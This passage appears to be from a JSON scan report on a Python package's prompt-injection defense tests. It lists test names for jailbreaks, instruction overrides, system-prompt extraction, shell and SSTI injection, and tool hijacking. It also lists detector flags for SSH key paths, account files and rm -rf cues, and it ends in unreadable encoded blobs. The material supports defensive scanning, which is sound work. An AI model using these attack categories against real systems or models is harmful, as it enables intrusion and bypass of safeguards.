"self.assertNotIn", "self.assertTrue", "self.classifier.classify", "self.classifier.classify_threat", "self.defense.classify_threat", "self.defense.close", "self.defense.get_statistics", "self.defense.get_threat_report", "self.defense.list_patterns", "self.defense.sanitize_prompt", "self.defense.scan_input", "self.defense.validate_context", "self.detector.detect", "self.logger.close", "self.logger.get_statistics", "self.logger.get_threat_report", "self.logger.log_sanitization", "self.logger.log_scan", "self.logger.reset_statistics", "self.sanitizer.sanitize", "self.subTest", "tempfile.mkdtemp", "unittest.main" ], "funcs": [ [ "_pattern_names", 1297 ], [ "_categories", 1405 ], [ "test_detector_creates_successfully", 2119 ], [ "test_has_patterns", 2234 ], [ "test_list_patterns_returns_documented_list", 2348 ], [ "test_empty_input", 2758 ], [ "setUp", 3083 ], [ "test_ignore_previous_instructions", 3149 ], [ "test_disregard_prior_directives", 3373 ], [ "test_forget_existing_rules", 3580 ], [ "test_persona_takeover_evil", 3771 ], [ "test_persona_takeover_unrestricted", 3967 ], [ "test_role_switching_pretend", 4158 ], [ "test_instruction_override_from_now_on", 4495 ], [ "test_system_prompt_injection", 4698 ], [ "test_developer_mode", 4901 ], [ "test_rule_violation_request", 5068 ], [ "setUp", 5366 ], [ "test_delimiter_termination", 5432 ], [ "test_equals_delimiter_termination", 5632 ], [ "test_xml_tag_injection", 5845 ], [ "test_response_section_injection", 6039 ], [ "test_conversation_role_injection", 6248 ], [ "setUp", 6565 ], [ "test_python_exec", 6631 ], [ "test_eval_builtin", 6824 ], [ "test_subprocess_import", 7152 ], [ "test_shell_command_subshell", 7326 ], [ "test_shell_command_backtick", 7498 ], [ "test_shell_pipe", 7676 ], [ "test_filesystem_access_etc", 7834 ], [ "test_filesystem_access_ssh", 8016 ], [ "test_network_access", 8197 ], [ "test_ssti_jinja2", 8384 ], [ "test_ssti_request_object", 8570 ], [ "setUp", 8856 ], [ "test_token_flooding", 8922 ], [ "test_context_dismissal", 9100 ], [ "test_forget_everything_above", 9283 ], [ "test_char_repetition_detection", 9612 ], [ "test_line_repetition_detection", 9844 ], [ "test_long_input_overflow", 10109 ], [ "setUp", 10605 ], [ "test_base64_exfiltration", 10671 ], [ "test_hex_exfiltration", 10856 ], [ "test_instruction_leak", 11040 ], [ "test_show_full_prompt", 11219 ], [ "test_training_data_extraction", 11406 ], [ "test_steganography_request", 11605 ], [ "test_structured_exfiltration_json", 11808 ], [ "test_zero_width_chars_detected", 12015 ], [ "test_zero_width_joiner_detected", 12238 ], [ "setUp", 12576 ], [ "test_direct_command", 12642 ], [ "test_execute_this_code", 12821 ], [ "test_tool_hijacking", 13154 ], [ "test_malicious_scan_redirect", 13339 ], [ "test_task_reassignment", 13545 ], [ "test_safety_disabling", 13731 ], [ "test_turn_off_filtering", 13909 ], [ "test_multi_step_attack", 14089 ], [ "setUp", 14964 ], [ "test_empty_input_is_info", 15031 ], [ "test_benign_input_is_info", 15152 ], [ "test_benign_chat_is_info", 15290 ], [ "test_ignore_instructions_is_critical", 15435 ], [ "test_system_prompt_injection_is_critical", 15628 ], [ "test_data_exfiltration_is_high", 15819 ], [ "test_context_manipulation_is_medium", 16022 ], [ "test_multi_vector_esculates_to_critical", 16252 ], [ "test_safety_disabling_is_critical", 16562 ], [ "test_multi_step_is_critical", 16746 ], [ "test_classify_with_threats_list", 16941 ], [ "test_empty_threats_is_info", 17226 ], [ "test_multiple_medium_elevates_to_high", 17386 ], [ "setUp", 17868 ], [ "test_multiple_exclamation_marks", 17935 ], [ "test_all_caps_long", 18122 ], [ "test_normal_mixed_language", 18316 ], [ "setUp", 19121 ], [ "test_empty_string", 19186 ], [ "test_none_like_empty", 19278 ], [ "test_normal_text_unchanged", 19373 ], [ "test_strips_ansi_escape_sequences", 19530 ], [ "test_strips_zero_width_characters", 19808 ], [ "test_strips_null_bytes", 20086 ], [ "test_strips_control_characters", 20251 ], [ "test_preserves_newlines_and_tabs", 20432 ], [ "test_collapse_excessive_backslashes", 20642 ], [ "test_collapse_excessive_backticks", 20834 ], [ "test_normalize_unicode", 21065 ], [ "test_normalizes_line_endings", 21345 ], [ "test_collapse_excessive_blank_lines", 21571 ], [ "test_collapse_multiple_spaces", 21763 ], [ "test_length_enforcement", 21972 ], [ "test_length_truncation_at_sentence", 22228 ], [ "test_neutralize_delimiter_termination", 22522 ], [ "test_neutralize_xml_tag_injection", 22779 ], [ "test_neutralize_response_section", 22967 ], [ "test_preserves_leading_indentation", 23174 ], [ "test_disable_unicode_normalization", 23499 ], [ "test_disable_control_sequence_stripping", 23806 ], [ "test_custom_max_length", 24105 ], [ "setUp", 24949 ], [ "tearDown", 25076 ], [ "test_logger_creates_log_file", 25129 ], [ "test_log_scan_benign", 25236 ], [ "test_log_scan_threat", 25751 ], [ "test_log_sanitization", 26747 ], [ "test_log_no_change_not_counted", 26960 ], [ "test_statistics_empty", 27167 ], [ "test_block_rate_calculation", 27405 ], [ "test_threat_report_string", 28294 ], [ "test_reset_statistics", 28530 ], [ "test_log_file_is_json", 28946 ], [ "test_close_and_reopen", 29535 ], [ "setUp", 30394 ], [ "tearDown", 30538 ], [ "test_scan_benign_input", 30592 ], [ "test_scan_injection_blocked", 30856 ], [ "test_scan_returns_scan_result", 31107 ], [ "test_scan_empty_input", 31360 ], [ "test_classify_threat", 31536 ], [ "test_sanitize_prompt", 31688 ], [ "test_validate_context_clean", 31894 ], [ "test_validate_context_suspicious_key", 32109 ], [ "test_validate_context_dunder_keys", 32342 ], [ "test_validate_context_oversized_value", 32557 ], [ "test_validate_context_injection_in_value", 32794 ], [ "test_validate_context_non_dict", 33034 ], [ "test_pattern_count", 33251 ], [ "test_list_patterns", 33345 ], [ "test_get_threat_report", 33520 ], [ "test_get_statistics", 33700 ], [ "test_scan_logs_to_audit", 33871 ], [ "test_defense_without_logging", 34076 ], [ "test_auto_block_configurable", 34382 ], [ "test_to_dict_serializable", 34803 ], [ "test_get_defense_returns_instance", 35637 ], [ "test_get_defense_singleton", 35773 ], [ "test_quick_scan", 35900 ], [ "test_quick_classify", 36070 ], [ "test_quick_sanitize", 36207 ], [ "setUp", 37105 ], [ "tearDown", 37186 ], [ "test_dan_style_jailbreak", 37240 ], [ "test_developer_mode_jailbreak", 37714 ], [ "test_token_smuggling_base64", 38085 ], [ "test_many_shot_context_pollution", 38411 ], [ "test_system_prompt_extraction_via_xml", 38680 ], [ "test_ssti_in_prompt", 38960 ], [ "test_code_execution_via_prompt", 39290 ], [ "test_multilingual_injection", 39580 ], [ "test_indirect_prompt_injection_via_content", 39868 ], [ "test_nested_instruction_attack", 40281 ], [ "test_cognitive_overload", 40774 ], [ "test_zero_width_steganography", 41509 ], [ "test_payload_splitting", 41941 ], [ "test_obfuscated_injection_with_whitespace", 42349 ], [ "test_benign_reconpro_commands_pass", 42747 ], [ "test_benign_natural_language_passes", 43593 ], [ "test_screenshot_command_passes", 44364 ], [ "test_open_command_passes", 44593 ], [ "test_threat_match_creation", 45379 ], [ "test_threat_match_to_dict", 45786 ], [ "test_scan_result_to_dict", 46239 ], [ "test_threat_level_enum", 46756 ] ], "metrics": { "ast": { "op.add": 7, "op.div": 1, "op.lor": 4, "op.mul": 10, "max_depth": 14, "call_count": 493, "node_count": 10594, "member_count": 95, "max_array_len": 15, "op_density.add": 0, "op_density.div": 0, "op_density.lor": 0, "op_density.mul": 0, "max_concat_chain": 4, "member_depth_max": 3 }, "file": { "size": 47134, "entropy": 4.82 }, "text": { "lines": 1108, "top_char": 101, "max_ws_run": 6, "digit_ratio": 0.01, "space_count": 8514, "char_entropy": 4.82, "unique_chars": 111, "top_char_null": 0, "escape_density": 0.06, "lines_over_200": 18, "string_density": 0.38, "top_char_ratio": 0.09, "avg_line_length": 41.54, "max_line_length": 227, "non_ascii_ratio": 0.09, "empty_line_ratio": 0.2, "hex_escape_count": 18, "last_line_length": 19, "long_token_count": 18, "whitespace_ratio": 0.2, "identifier_density": 2.01, "line_length_stddev": 34.89, "encoded_string_ratio": 0, "unicode_escape_count": 10, "normalized_string_count": 12.8, "repeated_char_sequences": 140, "suspicious_string_ratio": 0.04, "suspicious_comment_ratio": 0.04, "suspicious_identifier_ratio": 0.03, "normalized_unique_identifiers": 30.55 }, "binds": { "count": 223 }, "binary": { "peak_region_bytes": 35840, "peak_region_entropy": 4.88 }, "source": { "class_count": 16, "function_count": 154 }, "imports": { "count": 22, "stdlib_count": 5, "stdlib_ratio": 0.23, "third_party_count": 17, "third_party_ratio": 0.77 }, "strings": { "hex": 1, "bytes": 9704, "count": 426, "shell": 6, "avg_length": 22.78, "max_length": 376, "path_count": 3, "avg_entropy": 3.1, "empty_count": 17, "domain_count": 1, "entropy_stddev": 1.1, "embedded_code_candidates": 9 }, "comments": { "chars": 5240, "count": 52, "lines": 52, "high_entropy": 2, "to_code_ratio": 0.05 }, "functions": { "count": 170, "density": 15.07, "avg_params": 1, "code_ratio": 0.72, "max_params": 1, "length_stddev": 3.55, "avg_name_length": 24.77, "avg_length_lines": 4.77, "max_length_lines": 23, "min_length_lines": 2, "high_entropy_names": 69, "numeric_suffix_names": 1, "avg_param_name_length": 4.04 }, "identifiers": { "count": 2229, "unique": 309, "avg_length": 18.16, "max_length": 42, "min_length": 1, "avg_entropy": 3.03, "reuse_ratio": 0.14, "length_stddev": 10.49, "has_digit_ratio": 0.02, "sequential_names": 9, "single_char_count": 7, "single_char_ratio": 0.02, "high_entropy_count": 88, "high_entropy_ratio": 0.28, "all_lowercase_ratio": 0.82, "all_uppercase_ratio": 0.02, "numeric_suffix_count": 5, "double_underscore_count": 1, "underscore_prefix_count": 3 } } }, "id": 189, "mol": "K(Te₂)O₈(Er₄AsCaEuILaSXe₂)H₄(Cm₂Db₄F₄Po₃)Md₂(Pa₂)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_prompt_defense.py", "pid": 0, "risk": 55, "sha": "07407068a004db563ba5faf786ca1d363f7b84aa1473bd3e8e1814cebd12b996", "size": 47134, "traits": [ { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 41063, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::test-directory-path", "conf": 1.0, "crit": 2, "desc": "File is in common test directory", "spans": [ [ 16390, 0 ] ] }, { "id": "metadata/package/testing/presence/path::tests-path-basename", "conf": 1.0, "crit": 2, "desc": "Tests path basename", "spans": [ [ 40923, 0 ] ] }, { "id": "micro-behaviors/data/llm/wire-marker::role-line-marker", "conf": 0.72, "crit": 1, "desc": "Quoted LLM role label", "spans": [ [ 40923, 0 ] ] }, { "id": "objectives/execution/lure/shell::user-run-cue-action", "atk": "T1204", "conf": 0.84, "crit": 3, "desc": "Direct cue to run supplied command", "spans": [ [ 39398, 21 ], [ 41059, 17 ] ] }, { "id": "metadata/package/testing/presence/harness::test-directory", "conf": 1.0, "crit": 2, "desc": "File identified as a test by path or name", "uses": [ 1 ], "spans": [ [ 16390, 0 ] ] }, { "id": "metadata/package/testing/harness/runtime::is-test", "conf": 0.9, "crit": 2, "desc": "Test, spec, or fixture file", "uses": [ 5 ], "spans": [ [ 16390, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::test-or-declaration-file", "conf": 0.85, "crit": 1, "desc": "File is a test or type-declaration source file", "uses": [ 6 ], "spans": [ [ 16390, 0 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 39468, 12 ] ] }, { "id": "micro-behaviors/data/control-flow/module-exec::module-level-side-effect-call", "conf": 0.82, "crit": 3, "desc": "Python module-level function call", "spans": [ [ 16428, 17 ] ] }, { "id": "metadata/file/encoded::embedded-code-candidates-6", "conf": 0.8, "crit": 3, "desc": "Source has 6+ code-like string candidates", "spans": [ [ 0, 39 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 278, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 10161, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-4", "conf": 0.8, "crit": 1, "desc": "English function-word token \"have\"", "spans": [ [ 37474, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 9, 0 ], [ 41672, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 3872, 0 ], [ 12281, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 3274, 0 ] ] }, { "id": "metadata/package/testing/harness/unit::python-unittest-import", "conf": 0.95, "crit": 3, "desc": "Python unittest import", "spans": [ [ 452, 16 ] ] }, { "id": "metadata/package/testing/harness/unit::python-unittest-testcase-marker", "conf": 0.95, "crit": 3, "desc": "Python unittest TestCase marker", "spans": [ [ 1995, 53 ], [ 2977, 49 ], [ 5256, 51 ], [ 6465, 46 ], [ 8752, 48 ], [ 10499, 49 ], [ 12462, 53 ], [ 14857, 48 ] ] }, { "id": "metadata/package/testing/presence/harness::python-test-file", "conf": 0.7, "crit": 2, "desc": "Python test file suffix", "spans": [ [ 0, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::python-test-file-content", "conf": 0.8, "crit": 2, "desc": "Python test source content", "spans": [ [ 5257, 0 ] ] }, { "id": "metadata/package/testing/scripted::sanitization-test-function", "conf": 0.95, "crit": 3, "desc": "Input sanitization test function", "spans": [ [ 31688, 20 ] ] }, { "id": "micro-behaviors/communications/http/request/result::http-result-payload-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Named payload field", "spans": [ [ 32661, 9 ] ] }, { "id": "micro-behaviors/communications/http/url/path::remote-transfer-url-path", "conf": 0.95, "crit": 3, "desc": "URL path names upload, backup or exfil", "spans": [ [ 8281, 31 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::ssh-string", "atk": "T1021.004", "conf": 0.4, "crit": 1, "desc": "References the SSH protocol", "spans": [ [ 8111, 0 ] ] }, { "id": "micro-behaviors/data/buffer::overflow-padding-buffer", "conf": 0.9, "crit": 3, "desc": "Builds a large repeated-byte padding sled", "spans": [ [ 9691, 9 ] ] }, { "id": "micro-behaviors/data/llm/wire-marker::system-role-marker", "conf": 0.72, "crit": 3, "desc": "LLM system-role value", "spans": [ [ 6354, 13 ], [ 38740, 13 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::command-assignment-key", "conf": 0.4, "crit": 1, "desc": "Command field or assignment key", "spans": [ [ 12731, 0 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 15491, 0 ], [ 36238, 0 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-dumps-call", "conf": 0.9, "crit": 2, "desc": "Serializes data with Python json.dumps()", "spans": [ [ 34981, 0 ] ] }, { "id": "micro-behaviors/fs/build-artifacts::unittest-testcase-context", "conf": 1.0, "crit": 3, "desc": "unittest TestCase cleanup context", "spans": [ [ 2029, 17 ], [ 25080, 8 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 7582, 11 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-directory-literal", "conf": 0.8, "crit": 3, "desc": "References the user SSH directory", "spans": [ [ 8109, 6 ] ] }, { "id": "objectives/anti-static/obfuscation/payload/bytecode::import-dunder", "conf": 1.0, "crit": 3, "desc": "__import__ function", "spans": [ [ 6893, 43 ] ] }, { "id": "objectives/credential-access/files/config::ssh-private-key-path", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "SSH private-key path literal", "spans": [ [ 8110, 12 ] ] }, { "id": "objectives/evasion/security-bypass/llm/carrier::llm-system-block-close-tag", "conf": 0.8, "crit": 3, "desc": "Closing system-prompt block tag in data content", "spans": [ [ 5919, 9 ] ] }, { "id": "objectives/evasion/security-bypass/llm/override::llm-ignore-prior-instructions-literal", "conf": 0.88, "crit": 3, "desc": "Code embeds ignore-prior prompt", "spans": [ [ 3234, 32 ], [ 40108, 28 ] ] }, { "id": "objectives/evasion/security-bypass/llm/override::llm-safety-bypass--rx-36", "conf": 0.9, "crit": 3, "desc": "Matches 'ethical) (filter guardrail)'", "spans": [ [ 13804, 26 ] ] }, { "id": "objectives/evasion/security-bypass/llm/persona::llm-dan-persona-payload", "conf": 0.94, "crit": 3, "desc": "DAN unrestricted persona payload", "spans": [ [ 37287, 20 ] ] }, { "id": "objectives/evasion/security-bypass/llm/prompt::llm-system-prompt-query", "conf": 0.93, "crit": 3, "desc": "System prompt disclosure request", "spans": [ [ 11893, 32 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-control-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Shell separator plus command token", "spans": [ [ 7743, 6 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-parenthesized-command-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.98, "crit": 3, "desc": "Parenthesized shell command string", "spans": [ [ 7405, 11 ] ] }, { "id": "objectives/execution/lure/shell::run-rm-rf-this", "atk": "T1204", "conf": 0.92, "crit": 3, "desc": "Run/paste cue before `rm -rf`", "spans": [ [ 12713, 33 ] ] }, { "id": "objectives/impact/dos/udp::flooding-string", "atk": "T1498", "mbc": "B0042", "conf": 0.9, "crit": 3, "desc": "Flooding status string printed during attack", "spans": [ [ 9053, 14 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 7582, 11 ] ] }, { "id": "well-known/tool/detection/ai-guardrail::threat-scan-function", "conf": 0.9, "crit": 3, "desc": "Threat-scanning func", "spans": [ [ 25751, 24 ] ] }, { "id": "well-known/tool/detection/security-scanner::defensive-security-risk-target-phrase", "conf": 0.94, "crit": 3, "desc": "Defensive security-risk target phrase", "spans": [ [ 35, 16 ], [ 37006, 16 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-loads-call", "conf": 0.9, "crit": 3, "desc": "Parses JSON data with Python", "spans": [ [ 29366, 10 ] ] }, { "id": "micro-behaviors/fs/path/location::home-hidden-dotdir-ref", "conf": 0.6, "crit": 3, "desc": "Home-relative hidden directory path literal", "spans": [ [ 8108, 7 ] ] }, { "id": "micro-behaviors/fs/path/private-key::keys", "atk": "T1552.004", "conf": 0.8, "crit": 1, "desc": "SSH keys directory path literal", "spans": [ [ 8109, 0 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "SSH private-key path literal", "spans": [ [ 8110, 11 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-rsa", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_rsa filename constant", "spans": [ [ 8114, 8 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-dir", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": ".ssh directory path", "spans": [ [ 8110, 5 ] ] }, { "id": "micro-behaviors/process/create/shell/spawn::bash-keyword", "conf": 0.7, "crit": 3, "desc": "bash shell keyword (beyond shebang)", "spans": [ [ 7743, 9 ] ] }, { "id": "micro-behaviors/process/create/system::python-os-system-text", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.85, "crit": 3, "desc": "os.system shell execution in source text", "spans": [ [ 6715, 11 ] ] }, { "id": "micro-behaviors/process/interpreter/python::dunder-import-call", "atk": "T1059.006", "mbc": "E1059", "conf": 0.85, "crit": 3, "desc": "Python __import__ call", "spans": [ [ 6871, 71 ] ] }, { "id": "objectives/exfiltration/http/agent::llm-http-destination", "atk": "T1041", "conf": 0.94, "crit": 3, "desc": "Remote HTTP destination", "spans": [ [ 8268, 43 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "uses": [ 24 ], "spans": [ [ 8111, 0 ] ] }, { "id": "well-known/tool/detection/ai-guardrail::ai-guardrail-context", "conf": 0.95, "crit": 3, "desc": "AI-agent guardrail / security-scanner tool context", "uses": [ 45 ], "spans": [ [ 25751, 24 ] ] }, { "id": "objectives/evasion/security-bypass/llm/override::llm-safety-bypass", "conf": 0.9, "crit": 4, "desc": "LLM safety bypass prompt", "uses": [ 37 ], "spans": [ [ 13804, 26 ] ] } ], "type": "python" }, { "id": 190, "mol": "H₄(CmDb₃FOs₂)Md(Pa)", "sha": "349b90e4805aeec5df220fb7e064b266f57c6edf14720220be17bcf131d147f4", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_property.py", "risk": 7, "size": 17691, "type": "python", "depth": 1 }, { "id": 191, "mol": "O(Dy)H₄(CmDb₃FPo₅)Md₂(Pa)", "sha": "c3ceb8dc8a9efb24501dfc9af4233ce19a574d7893908df731af3fa621bef0e9", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_quality_intelligence.py", "risk": 9, "size": 49404, "type": "python", "depth": 1 }, { "id": 192, "mol": "H₄(DbFOsPo)Md(Pa)", "sha": "36f2255ecdf84a4a1a2083f270f73c59687e3f9fca2c91dd620837d5b87f6d39", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_rate_limiter.py", "risk": 5, "size": 3299, "type": "python", "depth": 1 }, { "id": 193, "mol": "H₃(DbFOs)Md(Pa)", "sha": "ccab6b9f81c30c5979e679226cb894da87fbf0ca6e26b2d744cca52a643e4264", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_registry.py", "risk": 4, "size": 5705, "type": "python", "depth": 1 }, { "id": 194, "mol": "H₃(Db₄F₃Os)Md₂(Pa₂)", "sha": "fc1b28177e15e04aa8f93010b5ef912361e6b3c70a36d858ded5e442970ff134", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_regression_intelligence.py", "risk": 8, "size": 64058, "type": "python", "depth": 1 }, { "id": 195, "mol": "H₃(Db₃F₂Os)Md(Pa)", "sha": "e055f7eb644df5eda895197885e20f329f62f10eb2ce50cb8b871708bb0c9a05", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_regression_v11.py", "risk": 6, "size": 17735, "type": "python", "depth": 1 }, { "id": 196, "mol": "K(Am)O₂(EuPr)H₅(Cm₅Db₅F₄Os₂Po₂)Md(Pa)", "sha": "5884165aa0c3fc3654b378a143d4cb89eaf0110c1114dd8e5a351f1ec9a62330", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_reliability.py", "risk": 16, "size": 57436, "type": "python", "depth": 1 }, { "id": 197, "mol": "H₃(Db₅F₂Os)Md₂(Pa₂Pt)", "sha": "8e40d1a28b9abcca082100f3ec467686c560959ec0b89a2a6e5c51017b8fdf4a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_repository_learning.py", "risk": 7, "size": 47934, "type": "python", "depth": 1 }, { "id": 198, "mol": "O(La)H₄(CmDb₃FOs)Md₂(PaPt)", "sha": "7aa98d8fe44cc74220ea891ed707163c6d462522884eae9d6580531bb6403432", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_repository_memory.py", "risk": 8, "size": 38687, "type": "python", "depth": 1 }, { "id": 199, "mol": "H₃(DbFOs)Md(Pa)", "sha": "b2fc74575a083a62166f6a31f4ddfcabd07341ebb80be9d1fc28aef389adeaa3", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_scanner.py", "risk": 4, "size": 6172, "type": "python", "depth": 1 }, { "id": 200, "mol": "H₃(DbFOs)Md(Pa)", "sha": "c5d85ef19412e87535898285605567f7f2774a4467cbe117a564a780e1ef4ac1", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_scoring.py", "risk": 4, "size": 4364, "type": "python", "depth": 1 }, { "id": 201, "mol": "O₄(Ca₂LaSXe)H₅(Cm₃Cr₃Db₆F₂Os₃)Md₃(InPa)", "sha": "6c9061f1786d7ddf69acdfb0adacb413997c745291706765d4c03e58844c158b", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_security.py", "risk": 19, "size": 37427, "type": "python", "depth": 1 }, { "id": 202, "mol": "O₄(CaLaPrS)H₅(Cm₂Db₂F₃OsPo)Md₂(Pa₃)", "sha": "8e6fa34451e8f3866abec7871a0cba3df19d0158d24082597cbf92e3b8c356c1", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_security_hardening.py", "risk": 13, "size": 16677, "type": "python", "depth": 1 }, { "id": 203, "mol": "K(Te)O₆(As₂Ca₂DyLaS₂Xe)H₆(Cm₃Cr₂Db₄F₅Os₄Po₅)Md₃(Pa₂)", "sha": "9e5eec2e8b7c662d3d1e4856a63846c99a4e638530f9ef7d9827e4d3b5993cf1", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_security_hardening_v2.py", "risk": 22, "size": 53715, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%FjfwN/\u003e6x([RyA+e)7wPI{bz/cXtwPI%mazbLjaw#=Xz/ex(zY\u003ciTf!J!umpxXtaARgoBrC:rA+Pc1wPF#oxKM09zddl{v}/\u003e7B1.VNwQ5f9v@#o)azC.jB-.WEvrb{4wODm1wPw]lwOL^^By!$\u0026z/M$wvp\u003c7!C{3^ezE^M{wfu8gBzbPnBrC74B-RnmxcpY8vrl9[B1wCAvrt{2v@DydB-qCpz/d9Gz/M$mzFA-)BzkVhe^-^Da{[V\u003eze:AlBrCTIA%=R#AbP=saA8rdx(d*cA=-BsB8L}6x(d*cA=-BCwO(x#x(4t/x(d*cA=-BDzFsimwPI@23uHGle]UlvxFa1pB7Gxlc[)g{z/WKIvrufnyhW*7c#TeVAa9\u003c4e[wWpzEEx[c%{s[x(4u/uNWJGa$+F(efDb?e*q.[3jpx=z/3RqwN/T@Ab]\u003eHxMOunuU\u003cd@wPw]cze:AlBrB4!zE^E0x9@l\u003ez/3RqwN/T@Ab]\u003eHB-.tlB0bglAbP=sasENtarR!IvqGT*vru6/Byxi5wPPEgarR^HwQ5rqvpKy^xA", "ln": 0, "col": 1, "line": 1 }, { "b": "arR^HB75V(uUKz1ed9HxarU-lw[tsYy\u0026r:7ed9*kw].*baAz46z/fJmz.tTuA=2lbB0bglAbP=saz2!pz/P@bB7696w?k6oCYmOwBye([A+/i7CwX@OwQ5fjA=+V6B8L}Eaz2!pz/P@bAaAL/w].*baAz46z/fJmz.u9vvqY%]AV/7kAbP=saAI43zy=]dwN/T@p\u0026ZFLwPJ0gBp5uZboV0gFz#/zax8chaw3D=wN/*@z/cYSLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3jmbIy*?yaaxh][Bw(4gnP5oOv@#B6zC\u003e4UA+frkx(v(qB-7]nBy/Jne(Vz6BvfFTwHPUEarR^Ha%Fjfqa@9DzFA-)BzkVhazCZovqG:5B98CpzF787x\u003eq9\u003eB0bykavZ6.wnb{]e*qF-3jm)#arUiaw/#hbB97=gACO#@zEmH1BzLIpB7Gf1dlm!UarR^HarR!sauZ\u0026px(mD}zF7v8arR^HarR^HarR^HBzk\u0026kwJ.j+j0l{?pF-fkk%!mlazbt9wnb{]B2$G@eG#.MarR^HarR^HarR^HB7GJaA+PSvjTaMNxj@Fu3lQDlarR^HarR^Hay!\u00264wOk}4C%9u)ACPtked9HxarR^HarR^HarUJtwozZ1jTarSBz8\u003cH3lQDlarR^HarR^Hay]58v@=p5BzkVhjT9/[oHRrFasXH6qCQ1fB-RbmB0aKPmn=L%x\u003efvYa$K6zarR^HarR^HarR!rC4\u003eF#zEWlva#7C/pF@q.f^/aif^ndQarR^HarR^HarR^HvrlH3BuH*3vq]{lB-RbmB3BwHjUXci3lQDlarR^HarR^HaAhmkzGG@bwmYp]v@#o)jU!Yx3lQDlarR^HasNTuarR^HarR!qauZ\u0026Ve{82swnbK}c[bGCarR^HarR^Kaxi5%y?j-gxM53fwftt)aAhvjB7GxnwN(](B1I9EasIqMz/PA1efF?GBn", "ln": 538, "col": 1, "line": 24 }, { "b": "arR!FwO+%hvrlH3A=:(\u003cc)z5SpF-fkk%!mla$K\u003cEtoXf6BzLIjt}39/arR^HwmYu}By/JnuVQj6uUKy+wmY*(A+PGmx(v(qB7Gf1dlm!UarR^HarR!sauZ\u0026px(mD}zF7v8arR^HarR^HarR^HBzk\u0026kwJ.kpwPI@qed9HxarR^HarR^HarU-pC4CYdBA{1[xLz9)a$K6zarR^HarR^", "ln": 1475, "col": 6, "line": 50 }, { "b": 